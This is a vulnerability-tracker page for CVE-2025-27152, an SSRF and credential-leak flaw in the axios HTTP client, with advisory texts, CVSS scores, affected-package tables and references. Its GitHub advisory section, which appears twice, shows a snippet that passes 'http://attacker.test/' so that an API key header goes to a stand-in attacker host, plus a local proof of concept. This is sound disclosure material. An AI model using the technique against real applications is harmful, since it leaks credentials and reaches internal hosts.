CVE-2025-27152
Possible SSRF and Credential Leakage via Absolute URL in axios Requests
axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.7
Possible SSRF and Credential Leakage via Absolute URL in axios Requests
axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.
- Record
CVE-2025-27152- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2025-7731
7.7
axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.
- Record
EUVD-2025-7731- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-jr5f-v2jv-69x6
7.7
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
Summary
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Details
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
- When
baseURLis set, passing an absolute URL such ashttp://attacker.test/toget()should not ignorebaseURL. - Before sending the HTTP request (after combining the
baseURLwith the user-provided parameter), axios should verify that the resulting URL still begins with the expectedbaseURL.
PoC
Follow the steps below to reproduce the issue:
- Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
- Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
- Run the script:
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
Impact
- Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
- SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
- Affected Users: Software that uses
baseURLand does not validate path parameters is affected by this issue.
- Record
GHSA-jr5f-v2jv-69x6- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
7.7
axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.
- Record
CVE-2025-27152- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
7.7
Possible SSRF and Credential Leakage via Absolute URL in axios Requests
axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.
- Record
CVE-2025-27152- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2025-27152
5.3
axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.
- Record
DEBIAN-CVE-2025-27152- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
Show 19 moreShow less
OSVGHSA-jr5f-v2jv-69x6
7.7
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
Summary
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Details
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.
It is recommended that:
- When
baseURLis set, passing an absolute URL such ashttp://attacker.test/toget()should not ignorebaseURL. - Before sending the HTTP request (after combining the
baseURLwith the user-provided parameter), axios should verify that the resulting URL still begins with the expectedbaseURL.
PoC
Follow the steps below to reproduce the issue:
- Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
- Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
- Run the script:
$ node main.js
this is server2
Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.
Impact
- Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
- SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
- Affected Users: Software that uses
baseURLand does not validate path parameters is affected by this issue.
- Record
GHSA-jr5f-v2jv-69x6- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2025-27152
7.5
CVE-2025-27152 in axios - Patched by Root
Root has patched CVE-2025-27152 in the axios package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2025-27152- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-06
OSVUBUNTU-CVE-2025-27152
7.7
axios is a promise based HTTP client for the browser and node.js. The issue occurs when passing absolute URLs rather than protocol-relative URLs to axios. Even if baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. This issue is fixed in 1.8.2.
- Record
UBUNTU-CVE-2025-27152- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P - CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
OSVCLSA-2026-1774225185 No score
TuxCare security update for axios (2 CVEs)
TuxCare rebuilt axios to address 2 CVEs. Fixed in 0.27.2-tuxcare.1.
- Record
CLSA-2026-1774225185- Updated
- 2026-11-02
OSVCLSA-2026-1774225186 No score
TuxCare security update for axios (5 CVEs)
TuxCare rebuilt axios to address 5 CVEs. Fixed in 0.18.1-tuxcare.1.
- Record
CLSA-2026-1774225186- Updated
- 2026-11-02
OSVCLSA-2026-1776991067 No score
TuxCare security update for axios (6 CVEs)
TuxCare rebuilt axios to address 6 CVEs. Fixed in 0.15.3-tuxcare.1.
- Record
CLSA-2026-1776991067- Updated
- 2026-11-02
OSVCLSA-2026-1782521951 No score
TuxCare security update for axios (17 CVEs)
TuxCare rebuilt axios to address 17 CVEs. Fixed in 0.19.2-tuxcare.1.
- Record
CLSA-2026-1782521951- Updated
- 2026-11-02
OSVCLSA-2026-1782781178 No score
TuxCare security update for axios (16 CVEs)
TuxCare rebuilt axios to address 16 CVEs. Fixed in 0.21.1-tuxcare.1.
- Record
CLSA-2026-1782781178- Updated
- 2026-11-02
OSVCLSA-2026-1782867613 No score
TuxCare security update for axios (15 CVEs)
TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.21.4-tuxcare.1.
- Record
CLSA-2026-1782867613- Updated
- 2026-11-02
OSVCLSA-2026-1783040460 No score
TuxCare security update for axios (15 CVEs)
TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.24.0-tuxcare.1.
- Record
CLSA-2026-1783040460- Updated
- 2026-11-02
OSVCLSA-2026-1783299714 No score
TuxCare security update for axios (15 CVEs)
TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.26.1-tuxcare.1.
- Record
CLSA-2026-1783299714- Updated
- 2026-11-02
OSVCLSA-2026-1784769505 No score
TuxCare security update for axios (18 CVEs)
TuxCare rebuilt axios to address 18 CVEs. Fixed in 1.7.7-tuxcare.3.
- Record
CLSA-2026-1784769505- Updated
- 2026-11-02
OSVCLSA-2026-1784769531 No score
TuxCare security update for axios (18 CVEs)
TuxCare rebuilt axios to address 18 CVEs. Fixed in 1.7.5-tuxcare.2.
- Record
CLSA-2026-1784769531- Updated
- 2026-11-02
OSVCLSA-2026-1784856205 No score
TuxCare security update for axios (21 CVEs)
TuxCare rebuilt axios to address 21 CVEs. Fixed in 1.7.9-tuxcare.1.
- Record
CLSA-2026-1784856205- Updated
- 2026-11-02
OSVCLSA-2026-1785468080 No score
TuxCare security update for axios (15 CVEs)
TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.26.0-tuxcare.4.
- Record
CLSA-2026-1785468080- Updated
- 2026-11-02
OSVopenSUSE-SU-2025:15307-1 No score
velociraptor-0.7.0.4.git163.87ee3570-1.1 on GA media
These are all security issues fixed in the velociraptor-0.7.0.4.git163.87ee3570-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:15307-1- Updated
- 2026-11-02
OSVSUSE-SU-2025:01326-1 No score
Security update for pgadmin4
This update for pgadmin4 fixes the following issues:
- CVE-2025-27152: Fixed SSRF and creadential leakage due to requests sent to absolute URL even when baseURL is set (bsc#1239308)
- CVE-2023-1907: Fixed an issue which could result in users being authenticated in another user's session if two users authenticate simultaneously via ldap (bsc#1234840)
- CVE-2024-4068: Fixed a possible memory exhaustion (bsc#1224295)
- Record
SUSE-SU-2025:01326-1- Updated
- 2026-11-02
OSVSUSE-SU-2025:1227-1 No score
Security update for pgadmin4
This update for pgadmin4 fixes the following issues:
- CVE-2025-27152: axios: Fixed SSRF and creadential leakage due to requests sent to absolute URL even when baseURL is set (bsc#1239308)
- Record
SUSE-SU-2025:1227-1- Updated
- 2026-11-02
OSVSUSE-SU-2025:1326-1 No score
Security update for pgadmin4
This update for pgadmin4 fixes the following issues:
- CVE-2025-27152: Fixed SSRF and creadential leakage due to requests sent to absolute URL even when baseURL is set (bsc#1239308)
- CVE-2023-1907: Fixed an issue which could result in users being authenticated in another user's session if two users authenticate simultaneously via ldap (bsc#1234840)
- CVE-2024-4068: Fixed a possible memory exhaustion (bsc#1224295)
- Record
SUSE-SU-2025:1326-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
axiosnpm |
1.0.0 up to 1.8.2 | 1.8.2 |
axiosnpm |
before 0.30.0 | 0.30.0 |
axiosTuxCare:npm From an advisory covering 2 CVEs |
0.27.2-tuxcare.0 up to 0.27.2-tuxcare.1, plus listed versions 0.27.2 |
0.27.2-tuxcare.1 |
axiosTuxCare:npm From an advisory covering 5 CVEs |
0.18.1-tuxcare.0 up to 0.18.1-tuxcare.1, plus listed versions 0.18.1 |
0.18.1-tuxcare.1 |
axiosTuxCare:npm From an advisory covering 6 CVEs |
0.15.3-tuxcare.0 up to 0.15.3-tuxcare.1, plus listed versions 0.15.3 |
0.15.3-tuxcare.1 |
axiosTuxCare:npm From an advisory covering 17 CVEs |
0.19.2-tuxcare.0 up to 0.19.2-tuxcare.1, plus listed versions 0.19.2 |
0.19.2-tuxcare.1 |
axiosTuxCare:npm From an advisory covering 16 CVEs |
0.21.1-tuxcare.0 up to 0.21.1-tuxcare.1, plus listed versions 0.21.1 |
0.21.1-tuxcare.1 |
axiosTuxCare:npm From an advisory covering 15 CVEs |
0.21.4-tuxcare.0 up to 0.21.4-tuxcare.1, plus listed versions 0.21.4 |
0.21.4-tuxcare.1 |
axiosTuxCare:npm From an advisory covering 15 CVEs |
0.24.0-tuxcare.0 up to 0.24.0-tuxcare.1, plus listed versions 0.24.0 |
0.24.0-tuxcare.1 |
axiosTuxCare:npm From an advisory covering 15 CVEs |
0.26.1-tuxcare.0 up to 0.26.1-tuxcare.1, plus listed versions 0.26.1 |
0.26.1-tuxcare.1 |
Show 33 moreShow less
| Package | Affected | Fixed |
|---|---|---|
axiosTuxCare:npm From an advisory covering 18 CVEs |
1.7.7-tuxcare.0 up to 1.7.7-tuxcare.3, plus listed versions 1.7.71.7.7-tuxcare.11.7.7-tuxcare.2 |
1.7.7-tuxcare.3 |
axiosTuxCare:npm From an advisory covering 18 CVEs |
1.7.5-tuxcare.0 up to 1.7.5-tuxcare.2, plus listed versions 1.7.51.7.5-tuxcare.1 |
1.7.5-tuxcare.2 |
axiosTuxCare:npm From an advisory covering 21 CVEs |
1.7.9-tuxcare.0 up to 1.7.9-tuxcare.1, plus listed versions 1.7.9 |
1.7.9-tuxcare.1 |
axiosTuxCare:npm From an advisory covering 14 CVEs |
0.26.0-tuxcare.0 up to 0.26.0-tuxcare.4, plus listed versions 0.26.00.26.0-tuxcare.10.26.0-tuxcare.20.26.0-tuxcare.3 |
0.26.0-tuxcare.4 |
node-axiosDebian:12 |
All versions, plus listed versions 1.11.0+dfsg-11.12.1+dfsg-11.13.1+dfsg-11.13.2+dfsg-11.14.0+dfsg-1 Show 17 moreShow less1.15.0-11.15.2-11.16.0-11.18.0-11.19.0-11.2.1+dfsg-11.2.1+dfsg-1+deb12u11.20.0-11.5.1+dfsg-11.6.2+dfsg-11.6.8+dfsg-11.6.8+dfsg-21.7.3+dfsg-11.7.4+dfsg-11.7.7+dfsg-11.7.9+dfsg-11.8.4+dfsg-1 |
None known |
node-axiosDebian:13 |
before 1.8.4+dfsg-1 | 1.8.4+dfsg-1 |
node-axiosDebian:14 |
before 1.8.4+dfsg-1 | 1.8.4+dfsg-1 |
axiosRoot:npm |
before 1.7.9-aikido.7 | 1.7.9-aikido.70.21.4-aikido.70.21.4-aikido.81.2.1-aikido.40.27.2-aikido.90.27.2-aikido.101.7.9-aikido.81.7.9-aikido.91.7.9-aikido.101.7.7-aikido.11.6.5-aikido.11.7.4-aikido.21.7.4-aikido.31.7.9-aikido.110.26.1-aikido.11.2.1-aikido.50.21.4-aikido.91.7.9-aikido.120.27.2-aikido.110.26.1-aikido.21.7.4-aikido.41.6.5-aikido.21.7.7-aikido.21.7.2-aikido.31.6.5-aikido.31.7.4-aikido.51.7.9-aikido.13 |
@rootio/axiosRoot:npm |
before 1.7.9-root.io.1 | 1.7.9-root.io.11.7.9-root.io.21.7.9-root.io.31.7.9-root.io.41.7.9-root.io.51.7.9-root.io.61.7.9-root.io.70.21.4-root.io.70.21.4-root.io.81.2.1-root.io.40.27.2-root.io.90.27.2-root.io.101.7.9-root.io.81.7.9-root.io.91.7.9-root.io.101.7.7-root.io.11.6.5-root.io.11.7.4-root.io.21.7.4-root.io.31.7.9-root.io.110.26.1-root.io.11.2.1-root.io.50.21.4-root.io.91.7.9-root.io.120.27.2-root.io.110.26.1-root.io.21.7.4-root.io.41.6.5-root.io.21.7.7-root.io.21.7.2-root.io.31.6.5-root.io.31.7.4-root.io.51.7.9-root.io.13 |
pgadmin4SUSE:Linux Enterprise Module for Python 3 15 SP6 From an advisory covering 3 CVEs |
before 4.30-150300.3.18.1 | 4.30-150300.3.18.1 |
pgadmin4SUSE:Linux Enterprise Module for Python 3 15 SP6 |
before 8.5-150600.3.9.1 | 8.5-150600.3.9.1 |
pgadmin4openSUSE:Leap 15.6 |
before 8.5-150600.3.9.1 | 8.5-150600.3.9.1 |
pgadmin4SUSE:Linux Enterprise High Performance Computing 15 SP3-LTSS From an advisory covering 3 CVEs |
before 4.30-150300.3.18.1 | 4.30-150300.3.18.1 |
pgadmin4SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS From an advisory covering 3 CVEs |
before 4.30-150300.3.18.1 | 4.30-150300.3.18.1 |
pgadmin4SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS From an advisory covering 3 CVEs |
before 4.30-150300.3.18.1 | 4.30-150300.3.18.1 |
pgadmin4SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS From an advisory covering 3 CVEs |
before 4.30-150300.3.18.1 | 4.30-150300.3.18.1 |
pgadmin4SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS From an advisory covering 3 CVEs |
before 4.30-150300.3.18.1 | 4.30-150300.3.18.1 |
pgadmin4SUSE:Linux Enterprise Server 15 SP3-LTSS From an advisory covering 3 CVEs |
before 4.30-150300.3.18.1 | 4.30-150300.3.18.1 |
pgadmin4SUSE:Linux Enterprise Server 15 SP4-LTSS From an advisory covering 3 CVEs |
before 4.30-150300.3.18.1 | 4.30-150300.3.18.1 |
pgadmin4SUSE:Linux Enterprise Server 15 SP5-LTSS From an advisory covering 3 CVEs |
before 4.30-150300.3.18.1 | 4.30-150300.3.18.1 |
pgadmin4SUSE:Linux Enterprise Server for SAP Applications 15 SP3 From an advisory covering 3 CVEs |
before 4.30-150300.3.18.1 | 4.30-150300.3.18.1 |
pgadmin4SUSE:Linux Enterprise Server for SAP Applications 15 SP4 From an advisory covering 3 CVEs |
before 4.30-150300.3.18.1 | 4.30-150300.3.18.1 |
pgadmin4SUSE:Linux Enterprise Server for SAP Applications 15 SP5 From an advisory covering 3 CVEs |
before 4.30-150300.3.18.1 | 4.30-150300.3.18.1 |
pgadmin4SUSE:Manager Proxy 4.3 From an advisory covering 3 CVEs |
before 4.30-150300.3.18.1 | 4.30-150300.3.18.1 |
pgadmin4SUSE:Manager Server 4.3 From an advisory covering 3 CVEs |
before 4.30-150300.3.18.1 | 4.30-150300.3.18.1 |
pgadmin4SUSE:Enterprise Storage 7.1 From an advisory covering 3 CVEs |
before 4.30-150300.3.18.1 | 4.30-150300.3.18.1 |
node-axiosUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 0.19.0+dfsg-20.19.0+dfsg-2ubuntu0.1~esm1 |
None known |
node-axiosUbuntu:Pro:22.04:LTS |
All versions, plus listed versions 0.21.1+dfsg-10.23.0+dfsg-20.24.0+dfsg-10.25.0+dfsg-20.26.0+dfsg-10.26.0+dfsg-1ubuntu0.1~esm1 |
None known |
node-axiosUbuntu:Pro:24.04:LTS |
All versions, plus listed versions 1.2.1+dfsg-11.5.1+dfsg-11.6.2+dfsg-11.6.8+dfsg-21.6.8+dfsg-2ubuntu0.1~esm1 |
None known |
node-axiosUbuntu:25.10 |
All versions, plus listed versions 1.7.9+dfsg-11.8.4+dfsg-11.11.0+dfsg-1 |
None known |
node-axiosUbuntu:26.10 |
All versions, plus listed versions 1.13.2+dfsg-1build11.16.0-11.18.0-11.19.0-1 |
None known |
node-axiosUbuntu:Pro:26.04:LTS |
All versions, plus listed versions 1.11.0+dfsg-11.12.1+dfsg-11.13.2+dfsg-1build11.13.2+dfsg-1ubuntu0.1~esm1 |
None known |
velociraptoropenSUSE:Tumbleweed From an advisory covering 3 CVEs |
before 0.7.0.4.git163.87ee3570-1.1 | 0.7.0.4.git163.87ee3570-1.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | andreglock/axios-ssrf | 2025-03-30 |
| PoC in GitHub | davidblakecoe/axios-CVE-2025-27152-PoC | 2025-06-06 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, aliases | ||
| affected | OSV | |
| affected, facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-27152 is a high vulnerability (CVSS 7.7) in Axios, published March 7, 2025. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.79%, the 56th percentile. Fixed in axios 1.8.2.
References
github.com/axios/axios/security/advisories/GHSA-jr5f-v2jv-69x6
github.com/axios/axios/issues/6463
github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f
github.com/axios/axios/releases/tag/v1.8.2
nvd.nist.gov/vuln/detail/CVE-2025-27152
github.com/axios/axios/pull/6829
Show 18 moreShow less
github.com/axios/axios/commit/02c3c69ced0f8fd86407c23203835892313d7fde
github.com/advisories/GHSA-jr5f-v2jv-69x6
github.com/CVEProject/cvelistV5/tree/main/cves/2025/27xxx/CVE-2025-27152.json
security-tracker.debian.org/tracker/CVE-2025-27152
github.com/axios/axios
suse.com/support/update/announcement/2025/suse-su-202501326-1
bugzilla.suse.com/1224295
bugzilla.suse.com/1234840
bugzilla.suse.com/1239308
suse.com/security/cve/CVE-2023-1907
suse.com/security/cve/CVE-2024-4068
suse.com/security/cve/CVE-2025-27152
suse.com/support/update/announcement/2025/suse-su-20251227-1
suse.com/support/update/announcement/2025/suse-su-20251326-1
ubuntu.com/security/CVE-2025-27152
cve.org/CVERecord?id=CVE-2025-27152
suse.com/security/cve/CVE-2025-27144
suse.com/security/cve/CVE-2025-30204